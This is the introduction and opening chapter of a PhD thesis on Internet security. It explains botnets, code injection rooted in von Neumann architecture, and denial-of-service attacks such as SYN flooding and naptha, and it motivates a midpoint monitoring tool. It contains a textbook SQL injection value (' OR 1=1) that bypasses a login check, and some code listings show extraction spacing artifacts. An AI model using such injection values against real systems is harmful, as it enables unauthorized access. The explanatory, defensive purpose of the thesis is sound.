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Introduction
“The 3/4 of scientific progress is aimed at neutralizing the side-effects induced by the last
quarter.” Claude Levi-Strauss.
The idea that a network of computers could be used to augment human thinking came from J.C.R.
Licklider, a psychologist and computer scientist when he was working at the Advanced Research Projects
Agency (ARPA) (1962-1964). Mr Licklider’s wanted to ease the communications among ARPA research
contractors to make their research more efficient2. From this idea came the ARPA network (ARPANET)
and finally the Internet network. Started as a collaboration tool among predefined users, the Internet
has become a network connecting unpredictable users with hardly predictable purposes. Indeed a user
can nowadays access the Internet from multiple terminals3, interconnected through various mediums4
available from a wide range of locations5. Once connected, thanks to Web sites and related applications,
file sharing networks, text and live chatting programs, Voice Over IP (VoIP) networks, or video streaming
sites, the Internet gives its users the opportunity to access and publish a hardly manageable amount and
type of information. From the network to improve the knowledge of ARPA society, Internet is aimed
at becoming, if not already, the network to build information societies at large. Among others, using
the Internet, a user can read or publish the recipe of a tiramisu as early edition of digital newspapers,
download the last blockbuster from Hollywood or exchange child pornography. These first types of
behaviours are the result of an extensive use of the possibilities offered by a functioning Internet. The
juridical, scientific and technical efforts to limit some of such behaviours issue polemical debate on topics
such as copyright laws [52], freedom of speech [102], or anonymity and privacy rights on the Internet
[194]. These problems are however not the only ones to be addressed. Indeed faults rise in the Internet
too. Figure 1 plots the percentage of the time a service offered by one of the four telecommunication
network kinds was functional during a year. It exhibits the very low availability of the services offered
by the Internet network [127].
Let’s try to explain the causes of such poor results. The growth of the Internet has been driven
by a constant desire for new functionalities. Indeed the Internet customers are much more willing to
quickly get a new buggy service, rather than having to wait for a version with less bugs. Therefore, the
development of the Internet has been driven by a race for innovation: new services should be developed
as fast as possible. If we take a look back at Levi-Strauss’s quote, the more functionalities you have,
the more undesirable side-effects you’ll probably get. Even more, if the new functionalities creation
rate is high. Indeed, after having implemented the easiest services, innovating means, most of the time,
creating more complex services. Therefore, this race makes developers create more complex systems
while enduring the still pressuring time to market. Understanding why Switched Telephone Networks
(STN) availability outperforms Internet’s is therefore straightforward. The faults, i.e. the non wanted
behaviours of the Internet services, should be classified depending whether they are due to accidental or
malicious activities. This thesis does not address the resolution of unintentional incidents. The following
section will describe the correlation between bugs in software and malicious activities.
2Internet Pioneers http://www.ibiblio.org/pioneers/
3Computers, laptops, pdas, cellphones. . .
4Whether with wired or wireless technologies.
5Homes, schools, labs, streets, restaurants, trains, planes. . .
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0.1 How The Race for Innovation Opens Doors to Malicious Activities in
the Internet
In 1983, in an article called “Beware: Hackers at play”, Newsweek published one of the earliest article
mentioning the hacker term [3]. Starting from this article to the last episode of “Die Hard tetra-logy”,
numerous mass-media products popularised the idea that some computer wizards, whether acting for
the greater good (Matrix, Independence Day), for challenge (Track Down) or for money (Golden Eye),
could break into any computer interconnected to the Internet. Before going further, the reader should be
informed that the definition of the hacker term is polemical [210]. To avoid possible misunderstandings
someone who tries to break into a computer will be referred as an intruder. Similarly, people conduct-
ing malicious activities in the Internet at large will be referred as attackers. For a non negligible part
of Internet users, a sufficiently skilled intruder could break into any interconnected computer. When
assessing this latter fact, the responsibility of a successful intrusion is subjectively given to the expertise
of the intruder rather than to the errors done by computer-science users, developers, administrators, de-
signers and researchers. Therefore, we do think that the first step to make before thinking of a solution
to the problem, is to consider another paradigm. That’s why, this thesis strongly argues against this
latter fatalist and quite comfortable idea. Indeed, even the most skilled intruder needs a breach in the
targeted computer systems to achieve his goals. Without a breach he will not break into it. A correctly
designed and implemented system fulfils its specifications. Therefore, unless the presence of breaches
ii
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Figure 2: Evolution of number of vulnerabilities reported by the US-CERT
is specified6, a correct software does not by definition have any breach, making intrusions impossible.
However, software is developed in function of the race for innovation, and therefore has bugs. Even if
not all computer bugs open exploitable breaches, some special bugs, called vulnerabilities, do. Computer
science is still a young discipline, and formal verification of computer software and networks have prob-
ably still a long path to follow7. Therefore, it is not surprising that the vast majority of systems connected
to the Internet, still focused on the race for innovation, has bugs and more precisely vulnerabilities as
shown in Figure 2. The apparition and evolution of malicious activity in the Internet is therefore a logic
side-effect of the race for innovation, carrying more responsibility than intruders’ expertise. We have
in this section assessed that intrusions or attacks are possible, but not the order of magnitude at which
they can influence the functioning of the Internet. The following section will explain why even a single
malicious Internet user can have a non negligible impact.
0.2 Von Neumann Machines and the End to End Principle: How to Auto-
mate Malicious Activities in the Internet
One of the main characteristics of a computing device is its computational capability, i.e. what it is
capable to compute. For example cash machines used in most grocery stores can compute arithmetic
operations like additions, subtractions or multiplications, but cannot compute integrals like
R e5√
3 x
2dx.
Such integrals should therefore be computed by hand or by a new machine, providing it has already
been designed and built. The design of computing devices reached a computing capability modeled by
Universal Turing Machines (UTM) [231] and implemented by von Neumann machines [236]. These
machines represent the great majority of nowadays computers. As depicted in [228] these machines have
computational limits that new theoretical8 machines, hyper-computers, overcome. Even if limited, UTMs
6Is the exploit of a specified vulnerability an intrusion ? This issue is open to debate, indeed errors can appear in speci-
fications too. However, the day computer scientists will “debug” specifications rather than implementations, we do think the
problem of widespread intrusions will become negligible, if not forgotten.
7It should however be noticed that the length of this path is strongly correlated to the priorities given to computer-science
research and developing.
8Some theories like the strong version of Curch-Turing thesis argue such machine cannot be physically implemented. The
debate is however still open.
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have the peculiar capability of computing other Turing machines [183]. In other words, a computer
program running on a von Neumann machine, can compute and execute another computer program.
The interconnection of computers has been driven by the “End to End principle” [216]. Whenever
possible, communications protocol operations should be defined to occur at the end-points of a commu-
nications system, or as close as possible to the resource being controlled. Therefore among others, this
design principle implies that an endpoint in the Internet can talk to any other interconnected endpoint.
These two facts make the following scenario possible. After identifying an exploitable breach on
an endpoint system, a computer scientist can develop a computer software that automatically exploits
this breach for its profit. Then, the malicious program could generate a new version of itself using
the hijacked von Neumann machine, ask the attacked endpoint located in the Internet to download and
execute this new program, which will try to attack a new target, etc.
Robert T.Morris, a first year computer science graduate student at Cornell University (USA),
launched in 1988 what is known to be the first malicious and significant Internet worm [117]. A worm is
a self-replicating computer program that sends itself to other interconnected computer without any user
intervention. The Morris worm infected about 6000 interconnected computers. This idea was interesting
enough to inspire a non negligible part of computer scientists as described in [229]. After having ex-
plained why even a single user can have a non negligible impact on the Internet, we will describe in the
following section the rationale behind the solution we have designed in this Ph.D.
0.3 Concerns on the Internet at the Begining of the XXIst Century
0.3.1 Botnets: Automating and Coordinating Compromised End Hosts’ Actions
Nowadays, one of the most visible Internet malicious activity is driven by a slight modification of such
network worms. Botnets are network of bots, when a bot is an end-host running a botware, a computer
software used to remotely control the bot. A master, located somewhere in the Internet, sends to its
bots orders through a communication protocol named Command and Control (C&C). The functionali-
ties offered by such bots can be vast, as described in Figure 3. They can snif the network packets (to
gather confidential information like login/password couples), try to propagate by perpetrating intrusions
on other computers, send spam, or launch network attacks to flood a distant server by performing a
Distributed Denial Of Service (DDOS). According to some estimations, performing such activities can
generate profits that reach hundreds of millions of dollars [181, 149].
Financial gains does not seem to be the only motivation behind botnet maintenance. The correlation
between geopolitical actions and distributed denial of services that occurred in Georgia [50] and Estonia
[226], together with the discovery of an International cyber-spy network targeting high value political
and economical computers based almost entirely in China [51] seems to indicate that some botnets are
used as a political tool. This concern has been taken into account by among others, Barack Obama’s
administration which has decided to enforce some American cyber-infrastructures [131].
0.3.2 Monitoring End-Host Software From Midpoint Devices
The side effects due to distributed and coordinated malicious activity in the Internet creates a threat for
the future of the Internet. As we said earlier, the apparition of such activity has two main causes:
• The race for innovation that develops and deploy incorrect software executed on von Neumann
machines.
iv
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• The End-To-End principle that delegates the functioning of the Internet to its end-host which are
nowadays, driven by incorrect software.
In chapter 1 after presenting some ways to perpetrate intrusion and attacks, we present a survey
of the solutions against botnet proliferation. First we present the existing methodologies to develop
correct software. Then, considering that such solutions do not seem to be adopted yet, we present the
different methods to monitor suspicious computer programs. Finally among these software, we will
present a recent kind of software that aims at observing malicious activity. As astonishing as it can
be, the software to monitor or observe suspicious computer programs has, up to our knowledge, shown
little interest to the technologies to develop correct software. This lack of interest creates some quite
logically distorted situations where the software to defend a computer, for example an antivirus, opens
a breach in the computer it is supposed to defend [141]. In this Ph.D. we state that Internet’s end-host
software and systems cannot be trusted yet. Therefore, until correct software developing technologies are
popular enough to be widely adopted, end-host software must be monitored. Taking into consideration
that a monitoring software in corrupted hosts could be modified by the intruder gaining the control of
the computer, we affirm that such monitoring should be performed by a correct software or device, put
in end-hosts’ interconnection points, what we call midpoints. As depicted in chapter 2, the tool we
design enables to perform a combination of all usual midpoint computations, ids/ips, firewall, protocol
identifier, shaper, into a single software. To do so, instead of creating a monolithic design pattern, we
split the actions to perform into Midpoint Inspectors, MIs, that can be seen as mini ips/ids/firewall, etc.
A language designed during this Ph.D enables to compose and parallelize a set of interoperable MI-s,
to produce a unique midpoint inspection algorithm, based on an inspection tree. To check the validity
of the computations, we provide algorithms and their proofs to verify the correction, optimality and to
deduce the missing parts of a given inspection tree. We implement this idea on a prototype developed in
a type-safe language OCaml, and benchmark its performances. The latter appear to be sufficient for the
two reported experiments, the monitoring of:
• malware downloading honeypots, and
• dynamically analysed malware’s network communications.
Chapter 3 deals with malware downloading. Malware downloading honeypots are end-host software
emulating the behaviour of the victim of a computer intrusion, hoping that the intrusion aims to upload
v
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and execute a malware into the targeted system. If so, such honeypot emulates the download and stores
the malware without executing it. Considering that trusting end-host software is what conducted to the
apparition of botnets, we first check whether malware downloading honeypots can be trusted. After
finding ways to use malware downloading honeypots as computer intrusion proxies, we configure our
prototype to reject these malicious actions while accepting behaviours that are ’normally’ considered
as malicious and therefore rejected. Chapter 4 describes the platform designed to perform , as safely
as wanted, the dynamic analysis of a malware talking to the Internet. Taking into account that attacking
third party’s Internet end-hosts is illegal, letting a malware talk to the Internet presents some risks. That’s
why up to now such analysis has been performed in an emulated Internet environment or in non detailed
platforms where little attention is given to the potential side effects of the analysis. The tool designed
in this Ph.D. proposes a solution to this problematic and opens a door to the benefits of such dynamic
analysis. We detail in the last chapter the first two explored benefits:
• malware clustering,
• automatic intrusion detection signature creation.
vi
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Monitoring Computer Programs
“I’ll let you in on a secret: my pet hamster did all the coding. I was just a channel, a ‘front’
if you will, in my pet’s grand plan. So, don’t blame me if there are bugs. Blame the cute,
furry one.” Harald Welte.
To have a better understanding on malicious activities, we devote the first section of this chapter to
the explanation of how most of intrusions and attacks work. In a second section we present the different
existing approaches to limit malicious activities in the Internet. Finally, the last section summarises these
approaches, to introduce the solution proposed in this Ph.D.
1.1 Understanding Vulnerabilities and Network Attacks
As we stated earlier, different breaches can be used by an intruder to take the control of another computer.
Similarly, different ways can be followed to conduct network attacks in the Internet. Therefore, to
understand some of the choices we made, we first present the functioning of the most widely reported
intrusions and attacks.
1.1.1 How to Take the Control of an End-Host Software or System
From a juridical point of view, an intrusion is said to be “an illegal entry upon or appropriation of the
property of another”1. By browsing the French penal code, the intrusion on an automatic data processing
system (ADPS) is not very clear when dealing with accessible ADPS. Does a user connecting to an
open wifi hot spot commit an intrusion punished by the 323-12 article of the French penal code? We do
think that from a more pragmatic point of view, there is a single way to ensure that a user owning a wifi
hotspot does not get unsolicited users: teach him how to use a solution to implement the policy he wants.
Without such policy, a user has no way to know if a hotspot is deliberately shared or not. This kind of
decisions therefore limits the usability of deliberately shared hotspots, and therefore the accessibility to
the Internet. That’s why we have chosen not to address the situations where an interconnected entity uses
a non policed service.
1.1.1.1 Asking End-Users to Execute a Program
Someone does not need to be an expert to make a non accessible computer execute the instructions he
wants. Indeed, asking one logged enduser to download and execute a software hosted somewhere in
1http://www.thefreedictionary.com/intrusion
2http://www.legifrance.gouv.fr/affichCode.do?idArticle=LEGIARTI000006418316&idSectionTA=
LEGISCTA000006149839&cidTexte=LEGITEXT000006070719&dateTexte=20090922
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the Internet is sometimes sufficient. Indeed, a web-site or mail could advertise the free download of
a computer program with a malware hidden in the advertised binary. One of the best managed botnet
that disappeared by the end of 2007 for unknown reasons used this kind of obvious propagation method
[135].
1.1.1.2 Bypassing Authentication Schemes
Different breaches could be exploited to bypass authentication schemes. As shown by [57], dictionary
attacks are a popular way to bypass some authentication schemes. Empirical studies show that in a
login/password authentication scheme, a large fraction of the users choose passwords from a restricted
lexical domain [200]. The breach consists then in trying all the couples in a subset of such domain.
The design of the authentication protocol can present a flaw too, giving a malicious user the possibility
of impersonating itself. The WEP, that aimed at giving Wired Equivalent Privacy to Wifi networks,
is a famous example of such buggy protocol [223]. The implementation of authentication protocols
can be buggy too. We can mention the flaw in the OpenSSL package provided by the Debian project
as an example. This package generated predictable cryptographic keys3, and therefore falsified all the
properties ensured by the implementations of protocols relying on the non predictability of such keys.
Finally the assumption behind the theory on which the authentication scheme is based on, could become
false too.
1.1.1.3 Code Injection: The Undesirable Side Effects of von Neumann Machines and Languages
The SANS institute depicts in [142] what are the Top Cyber Security Risks computers face in the Internet.
All these risks are different forms of what we will call code injection attack. In this section we will
show that code injection attacks are strictly correlated to a popular paradigm invented by von Neumann
Machines: the mixing of instructions and data. Before going further we will describe the reasons behind
such a paradigm.
The main thing computer scientists have in common is their desire to automatise one process. Instead
of making repetitive tasks by hand, computer scientists build automatisation systems. The 19-year-old
Blaise Pascal was working with his father, computing the taxes some people needed to pay. He was so
tired of computing all the additions by hand, that he developed a device to make this tedious task. The
Pascaline was born in 1652. In 1821 Charles Babbage, decided a computing device should be built to
fill the mathematical (logarithm, trig) tables used by navigators, surveyors, astronomers. Indeed, these
tables were previously computed by “human-computers” leading to a lot of errors. Babbage had there
the visionary idea of building a programmable computing device, even if the technology available at this
time was not advanced enough to realise the machine [225, 86]. Charles Babbage’s idea was materialised
by Howard Aiken in 1944 with the Harvard Mark I [71]. This computer was able to automatise addition/-
subtraction/multiplication and division computing operations. A computer program describing the list
of computations to make was given in its input. Harvard Mark I then returned the result. However this
machine was not able to compute computer programs which were still needed to be calculated by hand.
A slightly different approach was developed by Alan Turing since 1936. The latter formalised the defini-
tion of a universal computing machine, the UTM in [231], which is considered to be the starting point of
computer science. In 1945, John von Neumann designed the architecture needed to build such universal
computing machine. The first von Neumann machine, the EDVAC was built in 1949 [236]. Most of the
3CVE-2008-0166
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computer machines we use everyday are new versions of this machine. Modern computers are therefore
the result of a joint effort to automatise computation tasks. As stated by John Backus in [63]: “In its
simplest form a von Neumann computer has three parts: a central processing unit (or CPU), a store, and
a connecting tube that can transmit a single word between the CPU and the store (and send an address to
the store).” Another paragraph of this Turing Award4 winning article written in 1978 is worth quoting:
“When von Neumann and others conceived it thirty years ago, it was an elegant, practical, and unifying
idea that simplified a number of engineering and programming problems that existed then. Although the
conditions that produced its architecture have changed radically, we nevertheless still identify the notion
of computer with this thirty year old concept”. Indeed, 60 years later, the notion of computer remains the
same.
What makes von Neumann computers different from Harvard computers is that the latter has two
different stores: one for storing instructions, the other one for storing data. For example, let’s take the
1+2 computation. Here, we have two data elements, 1 and 2, and one instruction, +. To compute such
addition in a Harvard computer, the 1 and 2 values are stored in the data store at addresses @a and @b.
The instruction
ADD @a @b @c
which adds what is in @a and @b and stores the result in @c, is entered in the program store. Then,
the machine is executed and the user can finally read 3 in @c. To compute additions like 4+(1+2), a
computer uses what is called a Program Counter (PC): a pointer to the next instruction to execute. That
way, instead of a single instruction, computers can compute sequences of instructions.
Listing 1.1: Addition
1 .WRITE 1 @a / ∗ wr i t e t h e v a l u e 1 i n d a t a memory a ∗ /
2 .WRITE 2 @b
3 .ADD @a @b @c / ∗ add what i s i n a and b , ∗ /
/ ∗ and w r i t e t h e r e s u l t ∗ /
/ ∗ i n d a t a memory c ∗ /
4 .WRITE @c @b
5 .WRITE 4 @a
6 .ADD @a @b @c
To do so, the Program Counter, PC, is initialised at 1: the address of the first instruction. The program
then computes it, and increments PC to execute the instruction at address 2, and so on. However, let’s
say the current program is a software to train a user in making correct additions. Let’s say this software
asks the user the result of 4+(1+2) and prints OK if the user inputs 7, and NOK else. To do this kind
of branching, the program needs to set some values to the program counter PC.
Listing 1.2: Addition teacher
x .SUB @c @input @c. / ∗ SUB i s t h e ana l ogue of ADD f o r s u b t r a c t i o n s ∗ /
y .WRITE @e @nxt .
z . IFCISZEROSETPC @nxt . / ∗ Se t s PC t o t h e v a l u e w r i t t e n i n d a t a ∗ /
/ ∗ memory nx t i f what i s i n d a t a memory ∗ /
/ ∗ c i s z e r o ∗ /
g .PRINTOK
h .EXIT
e .PRINTNOK
4Turing awards are the equivalent of the Nobel prizes for computer scientists.
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f .EXIT .
After having illustrated these notions, we’d like to emphasize the following properties of Harvard ma-
chines:
• the CPU can load instructions only from program memory,
• the CPU can only write in data memory,
• the program counter, pointing to the next instruction to execute, can only access program memory.
Therefore, as the CPU cannot execute what is in the data memory, and as the only location the CPU can
write at is the data memory, the Harvard computers CPU cannot write executable instructions. For these
reasons, Harvard machines cannot directly execute a computed computer programs, as a program must
be loaded by third party into the instruction memory.
Unlike Harvard machines, von Neumann computers mix the data and the instructions in the same
memory. Depending on the value of the program counter, which evolves during the execution of pro-
gram, the value read at some address will be interpreted as data or instruction by the machine. Mixing
instructions and data therefore enables the CPU to compute and store instructions together with data in
its memory, which is sufficient to compute executable computer programs. However, let’s say our com-
puter program is a bogus music player. With a particular entry, the music player’s program counter will
be set to the value at an address a1, used to store a part of the song to play. An intruder could then craft
a special song, which:
• triggers this bug,
• sets PC to a value pointing to the middle of the song in the memory at the address a1,
• writes in a1 (which is part of the song he has specially crafted) instructions to download and
execute a malware in the Internet,
Like that, when playing the specially crafted song, the music player will finally execute the instruc-
tions developed by the intruder. The so called stack buffer overflows [189], heap overflows [61, 148],
integer overflows [188, 81], or format string vulnerabilities [123] exploit the bugs of programs together
with the functionalities of von Neumann machines.
Nowadays, computer software is however not directly written using von Neumann machines instruc-
tions’ set. Modern software is usually written in higher-level languages, that are then translated into
a sequence of von Neumann machine instructions using a special computer software called compiler.
These higher-level languages aim at easing the development of software, and therefore reduce the soft-
ware developing time. Before going further, we’d like here to quote John Backus again, “Conventional
programming languages are growing ever more enormous, but not stronger. Inherent defects at the most
basic level cause them to be both fat and weak: their primitive word-at-a-time style of programming
inherited from their common ancestor-the von Neumann computer, [...] and their lack of useful mathe-
matical properties for reasoning about programs.”
What should be emphasized by this still valid 40 years old citation is that the philosophy behind
von Neumann machines is still popular. Von Neumann machine’s creators, focused its design on its
expressiveness rather that on possible ways to extract properties about its possible behaviours. The
mixing of data and code was just a single side effect of the global wish to extend the boundaries of
what could be automatically computed by a real machine, without worrying about the possible bugs such
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computations could have. Indeed, expecting two revolutions from the same people living a single life is
not reasonable.
Nevertheless, nowadays computer scientists know what bugs are and their consequences. Therefore
it is hardly believable that the ideas in this 40 years old article have still so little impact in the vast
majority of computer-science courses, and therefore on computer scientists minds. Indeed, C [5], C++
[6], Java [16], PHP [30], Python [31], Javascript [17], Ruby [41] i.e. nowadays most popular computer
languages, are von Neumann inspired languages. The side effects of this trend are however more logic.
To illustrate the impact a language can have on our reasoning capability, we should remind that there are
quite a lot of ways to express the numbers we use everyday. Let us make the mental exercise of living in
a society were basic arithmetic are taught using Roman numerals. One teacher will among others, have
to check the correction of additions like MDCCIIIII+X = DDMCIV . First, even if such numbers can
be written, the teacher should consider the numbers MDCCIIIII and DDMCIV as invalid, and rewrite
them following Roman numerals rules as MDCCV and CIV . Then, to verify MDCCV +X , the teacher
should make some kind of mental exercise to emulate this addition, and compute the result, without
ways to guaranteeing its correction. Logically, students will make quite a lot of errors in their additions,
and teachers will make errors in their correction of evaluations too. If we translate the latter exercise into
Arabic numerals, it’s easier to verify that 1525+10= 104 is incorrect. But our point of view is subjective
as we all have learnt to compute arithmetic using Arabic numerals. Whatever subjective it can be, we do
make a very close parallel between the article of John Backus, criticising von Neumann style languages
and advertising for other paradigms5 and what a Roman arithmetician would have written about Roman
numerals after having discovered Arabic numerals, i.e. what Fibonacci actually wrote in “Liber Abaci”
in the early of 13th century [219]. Von Neumann inspired languages are therefore error prone. Moreover
if such languages do not neither differentiate code and data, higher level code injections will be possible
too.
As described in [224], nowadays web applications, i.e the software driving web-sites behaviour, use
an imbrication of different von Neumann languages to produce dynamically computed web pages. Some
Web applications use databases to store data like logins and passwords for authentication purposes. In
this case, a first language (most of the time SQL), is used to implement the operations on the database.
Another language is used to handle the requests sent by the user’s web browser and produce dynamic
web-pages. A lot of different technologies implement similar functionalities, therefore we abstract all of
them as WebL. The following SQL statement enables to select all the users in the database containing
the login u1 and password p1:
SELECT ∗ FROM a c c oun t s WHERE name = ’ u1 ’ AND password= ’ p1 ’
The Web application in itself extracts the user and password from the request it just received. Then, it
computes a similar SQL statement to check if the login and password couple sent exists in the database.
Indeed, if these requests are not in the database, the couple is invalid and the user failed to identify as a
valid user. In WebL, the program to do so will have this kind of pattern:
Listing 1.3: Web application code
r e q u e s t =getReques t ( ) ;
u s e r =extractUserFromRequest ( r e q u e s t ) ;
passwd=extractPasswdFromRequest ( r e q u e s t ) ;
sq lQue ry=bu i l dSe l e c tReque s t ( u1=va lue ( u s e r ) , p1=va lue ( passwd ) ) ;
5In his case, functional languages.
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r e s = executeSq lReques t ( sq lQue ry ) ;
i f isEmpty ( r e s ) {
d i sconnec tUser ( ) ; d i sp l ayFa i l u r ePage ( ) ; }
e l s e {
connectUser ( ) ; displayHomePage ( ) ; }
By making an analogy with our previous example, we can see that the
executeSq lReques t
function as a von Neumann machine, where the computed results are function of data (u1,p1) and in-
structions
(SELECT , FROM , WHERE , AND)
mixed in the global memory sqlQuery. The same way von Neumann machines do not differentiate data
from instructions, the webL von Neumann inspired language, does not check whether the storage user
contains instructions. Therefore, the same way a malicious user can craft special songs, a malicious
user could use the
( anybody , ’ OR 1=1)
couple to authenticate himself. WebL will then compute the request:
SELECT ∗ FROM a c c oun t s WHERE name= ’ anybody ’ AND password= ’ ’ OR 1=1
This request returns all the accounts of the database, i.e a non empty result, and therefore the malicious
user is logged in. Similar other injection techniques can be applied to conduct this kind of intrusions, as
web applications mixes a lot of different languages. Indeed, Cross-Site scripting [153], XPath injection
or Shell injections [224] are other examples of such behaviour.
1.1.1.4 Summary
We have in this subsection presented some ways to conduct intrusion attacks. We have given a special
attention to von Neumann machines functioning and ideas, to understand why bugs are omnipresent,
and how the most popular kind of intrusion methods, i.e. code injection attacks were possible. In the
following section we explain how, once taken the control of one or multiple Internet end-hosts, Internet
services’ availability can be attacked.
1.1.2 How One or Multiple End-Hosts can Attack Internet Services Availability
The other type of attack computer defence systems need to deal with are the ones targeting the function-
ing of Internet services: Denial of Services (DOS). A very effective denial of service consists in triggering
a bug leading to the crash of one application. For example, if a bug sets the Program Counter of a server
program to an invalid value, the program will crash and stop answering user requests. The same way,
bugs in protocol design or implementation could cause the misbehaviour of some nodes leading to a
denial of service too. These techniques are however application or protocol dependant [157, 92, 93].
That’s why other more generic ways are popular. As stated in Section 0.2 the building of the Internet has
been driven by the “End to End principle” [216]. Whenever possible, communications protocol opera-
tions should be defined to occur at the end-points of a communications system, or as close as possible
to the resource being controlled. Indeed, two communicating endpoints, A and B, need to face a lot of
problems when for example trying to reliably transfer a file. If the software running in A assumes that
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the network will reliably transfer each packet to B, the software written in A will not work in a network
dropping some packets. Therefore, the software designer has the reasonable temptation to take possible
packet loss into account. For these reasons, the End to End principle says that designing a smart core
network is unnecessarily costful as most probably redundant. Moreover, designing and implementing
a perfect network could be useful for file transfer, but not for other use cases. For example, multime-
dia data transfer is much more concerned about the overall transmission delay than the packet loss rate.
That’s why Internet’s core network just focuses on transferring all data packets at its best. The endpoint,
and most of the time the software running on end-host computers is responsible for managing all the
possible errors. A direct side-effect of this design principle, is that an endpoint in the Internet can talk
to any other interconnected endpoint. In the following three parts, we describe how the three pillars on
which the great majority of Internet services are built upon can be attacked to reduce their availability.
1.1.2.1 Network Bandwidth
The Internet interconnects networks by means of different technologies. The Internet routers are respon-
sible for transferring network data from one network to the other. However, these routers have a limited
bandwidth. Therefore, responsible endpoints need to compute an estimation of the available bandwidth
along the path to the other communication extremity. This kind of computation is performed by conges-
tion control algorithms. However, a malicious user could choose to send garbage data, at a superior rate
than the available bandwidth. This way, the router does not forward the data of other users to their des-
tination, provoking their denial of service. This kind of attack has moreover collateral damages. Indeed,
even if it aims at putting a single server down, all the computers interconnected by the flooded router will
be out of service.
1.1.2.2 TCP’s Pending Queues
Most of the services provided by the Internet use a particular protocol to reliably transfer data. The
Transmission Control Protocol, TCP [35] is therefore a target of choice for conducting denial of service
attacks. The same way a house collapses when its pillars are broken, putting the TCP stack of one
application out of service, renders the service unavailable. The functioning of TCP is based on a client-
server model: the server waits for client requests’ apparition, and after some computations sends its result
back. To connect to a TCP server, a TCP client must perform what is called a three-way handshake [35].
The clients sends a hello message parameterized by two identifiers: a first one to identify himself among
other clients, the other one to identify each message sent during the TCP session. The TCP server answers
back a hello message with the similar two identifiers and a third one to acknowledge the reception of the
first message. After receiving this message, the client sends a last message to acknowledge the message
from the server, finalising the handshake. Once this process has been achieved, the TCP session is said
to be established, and the transmission of data can start. To implement such a communication behaviour,
the TCP server software needs to keep in memory at least two queues:
Transmission Control Block (TCB) queue The queue containing the two identifiers used to differen-
tiate TCP clients willing to establish a session.
Established session queue The queue to store all established clients. Indeed, much more information
is needed in this queue, like all the bytes to be sent or sent but unacknowledged by the clients.
The storage memory of one server is limited, and therefore prone to denial of service attacks. One of
the most popular denial of service attack, the TCP SYN Flood [94], tries to deplete the first queue. One
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could argue that one client willing to conduct such attack is limited by the number of valid identifiers he
could generate. Two arguments balance this remark:
• This limitation could be overcome by distributing the attack along the necessary number of nodes.
• The design of the Internet does not force one computer to use its valid identifiers. Therefore, a
node could impersonate or spoof other nodes. The only side effect of spoofing is that the answer
does not go back to the malicious client but to the spoofed address. However, to conduct a TCP
Syn Flooding, the answer from the server is not necessary and the number of identifiers a malicious
user could use is vast. Moreover, this spoofing technique makes it more difficult to identify which
are the real computers behind the attacks.
Taking into account the resources needed to maintain ESTABLISHED sessions, applications using the
TCP transport protocol limits the number of simultaneous active ones. The naptha attack [91] establishes
the maximum number of simultaneous sessions an application could support and then sends data to make
these sessions persist as long as possible. The figure 1.1 plots the number of packets and bytes going
and coming back from a web-server during a simulation we conducted in our laboratory. The web-
server answers the requests of 50 different clients. The number of ongoing packets and bytes are plotted
every ten milliseconds. The figure 1.2 plots the same activity when a single client performs a naptha
attack. During the attack all the legitimate clients could not connect to the server anymore, and no more
web-pages are exchanged.
1.1.2.3 Computing Resources
Finally, computing resources could be targeted by asking one server to process excessive calculations.
Indeed, some studies have predicted than in the evolution of dynamic web-server6, their computing re-
sources (CPU, memory, disk/database bandwidth, and I/O bandwidth) may become their main bottleneck
[208]. Therefore, by flooding the server with requests demanding extensive use of such resources, a de-
nial of service could be provoked too [150]. This technique is for example known to have been used by
an extortion scheme [205] in 2004.
1.1.2.4 Summary
In this section we have presented how the correlation between intrusion possibility together with the
implicit trust granted to Internet end-hosts creates a threat to Internet services availability. After having
presented some of Internet’s problems, we now present a panorama of proposed solutions.
1.2 Existing Solutions and their Limits
In this section we first explain a state of the art of the technologies to develop correct software. The
first subsection aims, among others, at evaluating the feasibility of the first requirement of our study:
developing correct software. Then, given the fact that little interest is given to such techniques, we
present an enumeration of solutions to tolerate possible intrusions in software. After having noticed that
such solutions are neither widely adopted, we describe two different software kinds: software to monitor
computer programs and software to observe malicious activity.
6Servers that dynamically compute web-pages according to user requests
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Figure 1.1: Number of packets and number of bytes time series during normal operations.
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Figure 1.2: Number of packets and number of bytes time series during naptha attack. The abrupt drop in
traffic volume shows the consequences of the successful denial of service.
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1.2.1 Removing Exploitable Bugs: How to Develop Correct Software or at Least Code
Injection Tolerant Systems
When defining the basic concepts and terminology of dependability, Laprie et al. defined in 1992 [161]:
“A system failure occurs when the delivered service deviates from fulfilling the system function, the
latter being what the system is intended for. An error is part of the system state which is liable to lead
to subsequent failure: an error affecting the service is an indication that a failure occurs or has occurred.
The adjudged or hypothesized cause of an error is a fault”. More pragmatically, when describing how to
build fault tolerant operating systems Peter J. Denning defined in 1976 [111]:
• a failure as an event at which a system violates its specifications,
• an error, as an item of information which, when processed by the normal algorithms of the systems,
will produce a failure,
• a fault as a mechanical or algorithm defect which may generate an error.
In our specific case, critical vulnerabilities are therefore faults according to both definitions. Denning
then defined:
• a correct system as a system free of faults and its internal data contain no error,
• a reliable system one were failures do not seriously impair its satisfactory operation.
The most elegant solution to the vulnerability exploitation problem, is therefore creating correct
systems. Let us describe the different available solutions to create bug-less software.
A first approach consists in creating some computer languages presenting useful properties to check
for the existence of bugs. Then a compiler, a particular computer software, will traduce this language
into code understandable by the von Neumann machine, which can, as said earlier, be error prone. The
purpose of these higher level language is more or less to restrict the set of the programs that can be
expressed by von Neumann machines, to a subset presenting validated properties. One of the main tools
used by such programming languages compilers are type systems. In [199] Pierce defines: “A type
system is a tractable syntactic method for proving the absence of certain program behaviours by clas-
sifying phrases according to the kinds of values they compute”. During our first mathematical classes,
our teachers used to repeat that adding 2 potatoes and 3 tomatoes had no mathematical sense. We can
only add 2 fruits and 3 other fruits, to have 5 fruits. Type-systems generalize this idea to computer pro-
grams. We should differentiate static type systems from dynamic ones. Static type systems check for
properties before producing, and therefore executing the code. The Hindley-Milner algorithm proposes
a very elegant solution to static type checking [175]. Moreover, it illustrates what could be accomplished
following the idea behind John Backus, i.e. providing a software is written in a language designed to
ease its correction verification, correction properties can then be automatically proved by a compiler.
The algorithm of Hindley-Milner is based on a new computer language, ML, used to express, like other
languages, the types and the computations to perform using variables of previously defined types. How-
ever unlike other languages and thanks to the latter algorithm, there is no need to explicitly mention the
types of the variables. Indeed, the Hindley-Milner algorithm guesses the types of the variables, what is
called type-inferring, and checks the correction of the guessed type system. For example, let us take the
example of the following program written in the OCaml programming language, a successor of ML.
P r i n t f . p r i n t f "%f " ( 2+3 / 2 )
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This program aims at printing the float result of the addition (2+3/2). When processed by the compiler,
the implementation of the Hindley-Millner algorithm raises the following type error “This expression
